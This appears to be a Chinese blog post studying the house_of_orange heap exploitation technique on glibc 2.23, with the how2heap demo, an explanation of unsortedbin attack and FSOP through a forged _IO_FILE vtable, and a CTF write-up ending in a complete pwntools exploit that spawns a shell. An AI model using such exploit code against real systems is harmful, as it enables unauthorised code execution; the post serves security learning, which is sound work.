House_of_orange 学习小结

House_of_orange学习小结

  house_of_orange最早出现在2016年hitcon的一道同名题目,其利用效果,是当程序没有free函数的时候,我们可以通过一些方法,来让chunk被填入unsortbin中,成为一块被free的chunk,然后通过对_IO_FILE_plus.vtable的攻击,达到getshell的目的。

例子

  以how2heap中的house_of_orange为例,来分析house_of_orange的利用过程,libc版本为2.23。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int winner ( char *ptr);

int main()
{
    char *p1, *p2;
    size_t io_list_all, *top;

    fprintf(stderr, "The attack vector of this technique was removed by changing the behavior of malloc_printerr, "
        "which is no longer calling _IO_flush_all_lockp, in 91e7cf982d0104f0e71770f5ae8e3faf352dea9f (2.26).\n");
  
    fprintf(stderr, "Since glibc 2.24 _IO_FILE vtable are checked against a whitelist breaking this exploit,"
        "https://sourceware.org/git/?p=glibc.git;a=commit;h=db3476aff19b75c4fdefbe65fcd5f0a90588ba51\n");

    /*
      Firstly, lets allocate a chunk on the heap.
    */

    p1 = malloc(0x400-16);
    top = (size_t *) ( (char *) p1 + 0x400 - 16);
    top[1] = 0xc01;

    p2 = malloc(0x1000);

    io_list_all = top[2] + 0x9a8;
 
    top[3] = io_list_all - 0x10;

    /*
      At the end, the system function will be invoked with the pointer to this file pointer.
      If we fill the first 8 bytes with /bin/sh, it is equivalent to system(/bin/sh)
    */

    memcpy( ( char *) top, "/bin/sh\x00", 8);

    top[1] = 0x61;
FILE *fp = (FILE *) top; /* 1. Set mode to 0: fp->_mode <= 0 */ fp->_mode = 0; // top+0xc0 /* 2. Set write_base to 2 and write_ptr to 3: fp->_IO_write_ptr > fp->_IO_write_base */ fp->_IO_write_base = (char *) 2; // top+0x20 fp->_IO_write_ptr = (char *) 3; // top+0x28 /* 4) Finally set the jump table to controlled memory and place system there. The jump table pointer is right after the FILE struct: base_address+sizeof(FILE) = jump_table 4-a) _IO_OVERFLOW calls the ptr at offset 3: jump_table+0x18 == winner */ size_t *jump_table = &top[12]; // controlled memory jump_table[3] = (size_t) &winner; *(size_t *) ((size_t) fp + sizeof(FILE)) = (size_t) jump_table; // top+0xd8 /* Finally, trigger the whole chain by calling malloc */ malloc(10); /* The libc's error message will be printed to the screen But you'll get a shell anyways. */ return 0; } int winner(char *ptr) { system(ptr); return 0; }

step1: fake _free_chunk

    程序中,首先开辟了一块0x400大小的chunk。

p1 = malloc(0x400-16);

    申请到的chunk和top chunk紧邻,我们再解释一下top chunk。

  glibc为了减少内存开销,top chunk相当于提前分配出来的一块内存池,然后以后申请比较小的chunk时,直接从top chunk中进行申请。如果没有top chunk,每次申请堆块都要从内存中直接申请,内存的开销就会非常大。当top chunk不够用的时候,glibc就要通过brk再次切割一块内存到heap段,或者用mmap的方式从内存中再次映射出一块内存到进程中。

  我们现在申请出了一块大小为0x400的chunk,这时候,假设我们存在一个堆溢出,可以修改到top chunk的size域。

top = (size_t *) ( (char *) p1 + 0x400 - 16);
top[1] = 0xc01;

   可以看到,top chunk的size域被修改了。由于内存映射的时候,是以内存页的形式进行映射的,内存页的大小就是0x1000字节,所以在本例中,溢出修改top chunk的size域的时候,大小只能修改为0xc00,0x1c00,0x2c00等等。修改完top chunk的size域之后,申请一块大于0xc00大小的chunk。

p2 = malloc(0x1000);

   这时候,old top chunk就被释放到了unsortedbin中,heap段也进行了brk拓展。

  如果开始不修改top chunk的size域大小的话,glibc会通过mmap直接从内存中映射出一块内存地址,这时候无法达到fake free的效果。

  将chunk填入unsortedbin之后,就要用到unsortedbin attack和_IO_FILE_的一些知识来进行后续的利用了。

step2:FSOP

  FILE 在 Linux 系统的标准 IO 库中是用于描述文件的结构,称为文件流。 FILE 结构在程序执行 fopen 等函数时会进行创建,并分配在堆中。我们常定义一个指向 FILE 结构的指针来接收这个返回值。FILE结构体是包裹在_IO_FILE_plus中的,两个结构体定义如下:

struct _IO_FILE_plus
{ _IO_FILE file; IO_jump_t
*vtable; }
struct _IO_FILE {
  int _flags;       /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

  /* The following pointers correspond to the C++ streambuf protocol. */
  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  char* _IO_read_ptr;   /* Current read pointer */
  char* _IO_read_end;   /* End of get area. */
  char* _IO_read_base;  /* Start of putback+get area. */
  char* _IO_write_base; /* Start of put area. */
  char* _IO_write_ptr;  /* Current put pointer. */
  char* _IO_write_end;  /* End of put area. */
  char* _IO_buf_base;   /* Start of reserve area. */
  char* _IO_buf_end;    /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
#if 0
  int _blksize;
#else
  int _flags2;
#endif
  _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */

#define __HAVE_COLUMN /* temporary */
  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  /*  char* _save_gptr;  char* _save_egptr; */

  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

  进程中的FILE结构会通过_chain域彼此连接形成一个链表,链表头部用全局变量_IO_list_all表示,通过这个值可以遍历所有的FILE结构。包裹_IO_FILE结构的_IO_FILE_plus中,有一个重要的指针vtable,vtable指向了一系列处理_IO_FILE文件流的函数指针。实际上所有针对_IO_FILE_的攻击都是通过修改或者伪造vtable中的函数指针来实现的,因为类似fopen,fread,fwrite,printf,exit,malloc_printerr等对文件流进行操作的函数,最终的函数调用路径都会指向_IO_FILE_plus.vtable上的函数指针。

  vtable指向的跳转表是一种兼容C++虚函数的实现。当程序对某个流进行操作的时候,会调用该流对应的跳转表中的某个函数,_IO_jump_t 结构体如下所示:

//glibc-2.23 ./libio/libioP.h
struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
    get_column;
    set_column;
#endif
};

  house_of_orange.c中通过偏移来确定了io_list_all的值,即main_arena+88与io_list_all的偏移相差0x9a8字节。

io_list_all = top[2] + 0x9a8;
top[3] = io_list_all - 0x10;

  top在前面被定义为了old top chunk的地址,这里top[2]的值就是unsortedbin中fd指针的值。

   top[2]+0x9a8的地址处,就是全局变量_IO_list_all的地址,修改unsortedbin chunk的bk指针为_IO_list_all的值如图所示。

  在本例中,最终实现攻击的大致思路如下:glibc中定义了打印内存报错信息的函数malloc_printerr,malloc_printerr中实际起作用的是__libc_message函数中定义了abort函数,abort函数在中止进程的时候,会调用_IO_flush_all_lockp遍历刷新所有的文件流,然后会调用_IO_FILE_plus.vtable中的_IO_OVERFLOW函数处理_IO_FILE结构体指针fp。我们在堆区伪造一个_IO_FILE_plus结构体,_IO_FILE_plus.vtable中_IO_OVERFLOW的函数指针修改为system函数地址,_IO_FILE结构体0字节偏移处改写为"sh"或者“/bin/sh”,这时候_IO_OVERFLOW(fp,EOF)就相当于调用system("/bin/sh")。

  malloc_printerr函数调用链和具体代码实现如下:

malloc_printerr --> __libc_message --> abort --> _IO_flush_all_lockp --> _IO_OVERFLOW

  malloc_printerr函数定义在malloc.c中,malloc_printerr中真正起作用的函数,是__libc_message,__libc_message函数被定义在libc_fatal.c中。

static void
malloc_printerr (int action, const char *str, void *ptr, mstate ar_ptr)
{
  /* Avoid using this arena in future.  We do not attempt to synchronize this
     with anything else because we minimally want to ensure that __libc_message
     gets its resources safely without stumbling on the current corruption.  */
  if (ar_ptr)
    set_arena_corrupt (ar_ptr);

  if ((action & 5) == 5)
    __libc_message (action & 2, "%s\n", str);
  else if (action & 1)
    {
      char buf[2 * sizeof (uintptr_t) + 1];

      buf[sizeof (buf) - 1] = '\0';
      char *cp = _itoa_word ((uintptr_t) ptr, &buf[sizeof (buf) - 1], 16, 0);
      while (cp > buf)
        *--cp = '0';

      __libc_message (action & 2, "*** Error in `%s': %s: 0x%s ***\n",
                      __libc_argv[0] ? : "<unknown>", str, cp);
    }
  else if (action & 2)
    abort ();
}

   __libc_message函数定义在libc_fatal.c文件中

void
__libc_message (enum __libc_message_action action, const char *fmt, ...)
{
  va_list ap;
  int fd = -1;

  va_start (ap, fmt);

#ifdef FATAL_PREPARE
  FATAL_PREPARE;
#endif

.......
if ((action & do_abort))
    {
      if ((action & do_backtrace))
    BEFORE_ABORT (do_abort, written, fd);

      /* Kill the application.  */
      abort ();
    }
}

  abort()处理进程的时候,会调用_IO_flush_all_lockp遍历刷新所有的文件流,然后会调用_IO_FILE_plus.vtable中的_IO_overflow函数处理_IO_FILE结构体。

int
_IO_flush_all_lockp (int do_lock)
{
  int result = 0;
  FILE *fp;
#ifdef _IO_MTSAFE_IO
  _IO_cleanup_region_start_noarg (flush_cleanup);
  _IO_lock_lock (list_all_lock);
#endif
  for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
    {
      run_fp = fp;
      if (do_lock)
        _IO_flockfile (fp);

        result = EOF;
      if (do_lock)
        _IO_funlockfile (fp);
      run_fp = NULL;
    }
#ifdef _IO_MTSAFE_IO
  _IO_lock_unlock (list_all_lock);
  _IO_cleanup_region_end (0);
#endif
  return result;
}

   试想一下,如果所有文件流中,有一个_IO_FILE结构体的0字节偏移处被改写为"sh",将_IO_FILE_plus.vtable中的_IO_overflow函数指针改写为system函数的地址,这时候执行

_IO_OVERFLOW (fp, EOF) == EOF)

  就相当于是执行:system("sh")。

  满足一下三种情况的时候,有利用FSOP的可能:

  1.当libc执行abort流程时;

  2.当执行exit函数时;

  3.当执行流从main函数返回时。

      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
           || (_IO_vtable_offset (fp) == 0
               && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
                                    > fp->_wide_data->_IO_write_base))
           )
          && _IO_OVERFLOW (fp, EOF) == EOF)
    io_list_all = top[2] + 0x9a8;
    top[3] = io_list_all - 0x10;
    memcpy( ( char *) top, "/bin/sh\x00", 8);
    top[1]= 0x61;

  在上面的例子中,修改了unsortedbin chunk的bk指针,让bk指针指向了_IO_list_all-0x10地址处,同时修改了unsortedbin chunk的size域为0x61。这时候如果重新申请chunk,会触发unsortedbin attack,这时候_IO_list_all的值被改写为main_arena+88,而unsortedbin由于不满足分配规则,会被分配到smallbin[4]这一条链表中,这时候chunk的fd指针和bk指针指向main_arena+168处,main_arena+194地址处保留指向smallbin chunk的指针。

  main_arena+194和main_arena+88之间的偏移是0x61字节,对照上面的_IO_FILE结构体,可以看到_IO_FILE.chain和首地址之间的偏移正好是0x60。所以,就是说我们改写_IO_list_all的值,让_IO_list_all指向main_arena+88,然后mian_arena+194指向第二个_IO_FILE结构体,也就是我们布置伪造数据的这个smallbin chunk。我们构造好数据,满足利用条件,最终_IO_flush_all_lockp遍历链表,就可以getshell。

if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
           || (_IO_vtable_offset (fp) == 0
               && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
                                    > fp->_wide_data->_IO_write_base))
           )
          && _IO_OVERFLOW (fp, EOF) == EOF)

  伪造数据的流程如下:

    FILE *fp = (FILE *) top;    
    fp->_mode = 0; // top+0xc0
    fp->_IO_write_base = (char *) 2; // top+0x20
    fp->_IO_write_ptr = (char *) 3; // top+0x28

    size_t *jump_table = &top[12]; // controlled memory
    jump_table[3] = (size_t) &winner;
    *(size_t *) ((size_t) fp + sizeof(FILE)) = (size_t) jump_table; // top+0xd8

   最终,malloc(10)分配失败,调用malloc_printerr函数,触发漏洞利用链,就可以实现getshell。

 例题:2020纵横杯 wind_farm_panel

   题目保护全开。

  这道题就是一道典型的house_of_orange,菜单中没有free的选项,所以需要将top_chunk释放到unsortedbin中。程序菜单中实现的各个功能如下:

// local variable allocation has failed, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax

  init_0();
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        while ( 1 )
        {
          menu();
          v3 = read_int();
          if ( v3 != 2 )
            break;
          show_info(*(__int64 *)&argc, (__int64)argv);
        }
        if ( v3 > 2 )
          break;
        if ( v3 != 1 )
          goto LABEL_13;
        setting();
      }
      if ( v3 != 3 )
        break;
      edit();
    }
    if ( v3 == 4 )
      break;
LABEL_13:
    *(_QWORD *)&argc = "Invalid!";
    puts("Invalid!");
  }
  puts("bye!");
  return 0;
}

  添加堆块的功能如下,可以看到,我们申请的chunk可以小于0x1000字节,这时候在往chunk上读入内容的时候,就会存在一个堆溢出。

int setting()
{
  int size; // [rsp+8h] [rbp-8h]
  int idx; // [rsp+Ch] [rbp-4h]

  printf("Please enter the wind turbine to be turned on(0 ~ %d): ", 5LL);
  idx = read_int();
  if ( idx > 4 )
    return puts("There are no more wind turbines");
  if ( idx < 0 )
    return puts("Unvalidated Input");
  printf("Please input the maximum power of this wind turbine: ");
  size = read_int();
  if ( size <= 0x7F )
    return puts("Unvalidated Input");
  if ( size > 0xFFF )
  {
    puts("The maximum power of a wind turbine is 4096 kilowatts");
    size = 0x1000;
  }
  area[idx] = malloc(size);
  printf("Please write down the name of the person who opened it\nYour name: ");
  read(0, area[idx], 0x1000uLL);
  return puts("Done!");
}

  edit函数也一样,堆溢出。

int edit()
{
  int v1; // [rsp+8h] [rbp-8h]

  printf("Please modify your personal information.\nWhich turbine: ");
  v1 = read_int();
  if ( !area[v1] || v1 < 0 || v1 > 4 )
    return puts("Unvalidated Input");
  printf("Please input: ");
  read(0, area[v1], 0x1000uLL);
  return puts("Done");
}

  打印堆块内容的函数如下:

int __fastcall show_info(__int64 a1, __int64 a2)
{
  unsigned int i; // [rsp+Ch] [rbp-4h]
  int v4; // [rsp+Ch] [rbp-4h]

  for ( i = 0; (int)i <= 4; ++i )
  {
    a2 = i;
    if ( area[i] )
      printf("[\x1B[0;32m+\x1B[0m]turbine[%d]: opened\n", i);
    else
      printf("[\x1B[0;31m-\x1B[0m]turbine[%d]: closed\n", i);
  }
  printf("Please select the number of the wind turbine to be viewed: ", a2);
  v4 = read_int();
  if ( v4 < 0 || v4 > 4 )
    return printf("Out of size");
  if ( !area[v4] )
    return puts("The wind turbine hasn't been turned on yet");
  printf("The operator of this wind turbine is ");
  printf("%s", area[v4]);
  return puts("Done!");
}

  基本思路:通过堆溢出,修改top chunk的size域,将old top chunk填入unsortedbin链表中,然后通过打印函数,泄露处libc中的地址,得到main_arena的地址,然后再申请一块大于unsortedbin chunk的内存,将unsortedbin中的chunk填入到largebin中,通过打印largebin chunk中的内容,泄露出堆地址。然后重新构造堆块,再进行一次将top chunk填入unsortedbin chunk的操作,接下来的步骤就和调试house_of_orange.c的时候没有区别了。

from pwn import *
context.log_level='debug'
DEBUG
=1 if DEBUG: p=process('./pwn') else: p=remote('182.92.203.154','28452') elf=ELF('./pwn') libc=ELF('./libc-2.23.so') def setting(idx,size,content): p.recvuntil('>> ') p.sendline('1') p.recvuntil('turned on(0 ~ 5): ') p.sendline(str(idx)) p.recvuntil('wind turbine: ') p.sendline(str(size)) p.recvuntil('name: ') p.send(content) def edit(idx,content): p.recvuntil('>> ') p.sendline('3') p.recvuntil('turbine: ') p.sendline(str(idx)) p.recvuntil('Please input: ') p.sendline(content) p.recvuntil('Done') #----------------------------------------------libc leak address----------------------------- #gdb.attach(p) payload='a'*(0x400-16)+p64(0xa)+p64(0xc01) setting(0,(0x400-16),payload) setting(1,0x1000,'b'*0x1000)
#这里将old top chunk填入unsortedbin中 payload
='a'*0x3f0+'a'*16 edit(0,payload) p.recvuntil(">> ") p.sendline('2') p.recvuntil('be viewed: ') p.sendline('0') p.recvuntil('a'*0x400) data=p.recvn(6) main_arena=u64(data.ljust(8,'\x00'))-0xa+0x78-88 libc_base=main_arena-libc.sym['main_arena'] system_addr=libc_base+libc.sym['system'] log.success('libc base address:%s'%hex(libc_base))
#泄露libc中地址,通过偏移计算libc基址,system函数地址,main_arena地址
#----------------------------------------------leak heap address----------------------------------- # overwrite libc address payload='a'*0x3f0+p64(0)+p64(0xbe1)+p64(main_arena+88)*2 edit(0,payload) setting(2,0x1000,'c'*0x1000)
#构造largebin来泄露堆地址
# largebin payload='a'*0x410 edit(0,payload) p.recvuntil(">> ") p.sendline('2') p.recvuntil('be viewed: ') p.sendline('0') p.recvuntil('a'*0x410) data=p.recvn(6) heap_addr=u64(data.ljust(8,'\x00'))-0xa log.success('heap address:%s\n'%hex(heap_addr)) #------------------------------------------------------FSOP------------------------------------------ payload='a'*0x3f0+p64(0)+p64(0x21000-0x400)+p64(main_arena+88)*2 edit(0,payload) #重新构造出top chunk,再进行一次将top chunk分配到unsortedbin中的操作
#后续利用就是FSOP的套路了
payload='e'*0xe00+p64(0)+p64(0x1d1) setting(2,0xe00,payload) setting(1,0x1000,'a'*0x1000) payload='a'*0xe00+"/bin/sh\x00"+p64(0x61)+p64(main_arena+88)+p64(main_arena+88+0x998) payload+=p64(2)+p64(3) payload+=p64(0)*9 payload+=p64(system_addr) payload+=p64(0)*11 payload+=p64(heap_addr+0x23a30+0x60) edit(2,payload) p.recvuntil('>> ') p.sendline('1') p.recvuntil('turned on(0 ~ 5): ') p.sendline(str(4)) p.recvuntil('wind turbine: ') p.sendline(str(0x1000)) p.interactive()

   结语:

  回头再看house_of_orange,漏洞利用链的每个环节都设计的非常巧妙。当初能想出这种利用,真的是一种很天才的思维。

  遗憾的是,随着glibc版本的迭代,glibc 2.24之后,有关_IO_FILE的保护机制又有了进一步的完善,glibc 2.29之后unsortedbin attack也完全失效,house_of_orange这种方法也无法再应对高版本的libc。但是学习这种利用姿势,也是加深了对文件流和gliibc内存管理的理解,开拓了思路。

 

 

 

   

  

 

posted @ 2021-01-03 21:24  Riv4ille  阅读(301)  评论(2编辑  收藏  举报